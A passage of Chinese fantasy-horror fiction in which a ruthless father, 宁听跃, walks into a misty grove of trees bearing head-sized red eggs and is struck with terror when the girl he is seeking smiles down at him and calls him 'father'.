不打算浪费什么时间,他打算直接拎着人就走,其他人废了便是。 然而,他再往前去,却见白雾之中,阴气散布。 再走十步,那青翠的树枝蔓延而下,长着有一颗颗的人首一般大的红卵,滴答滴答,如鲜艳的石榴般,如火红的宝石般,熠熠生辉。 滴答。 滴答。 滴答。 滴答。 远方似有水声,也似有什么坚硬的东西爬在地上,正朝他缓慢而来。 宁听跃本是不耐,已做好勾起周拂菱就走的准备,此时,却突然立住。 太阳么? 他看着那树枝上的红果,皱起眉头。 却突然晃了晃眼。 卵…… 卵! 而这时,贺茵要是在,恐怕会目瞪口呆。 那从她出生起就云淡风轻,一副高人姿态的劣父,此时脸上,平静正寸寸破裂。 而那一剑剑刺死她娘、烧死全家、生剐邻里也毫无负罪感、毫不担忧的劣父,此时竟目眦尽裂。 他的眼中一寸寸地爬上恐惧。 若是贺茵在,怎么也要弄明白—— 宁听跃是看到了什么? 可惜她不在。 而她也想不到,对面正坐着她的“柔弱”朋友—— 巨树之上,宁听跃苦苦寻找的周拂菱,坐在树枝上,摇晃着双脚。 她的轻纱绿裙落下,似和树藤连成了一片,她睁着一对乌黑的眼睛,正对宁听跃天真地微笑: “父亲。”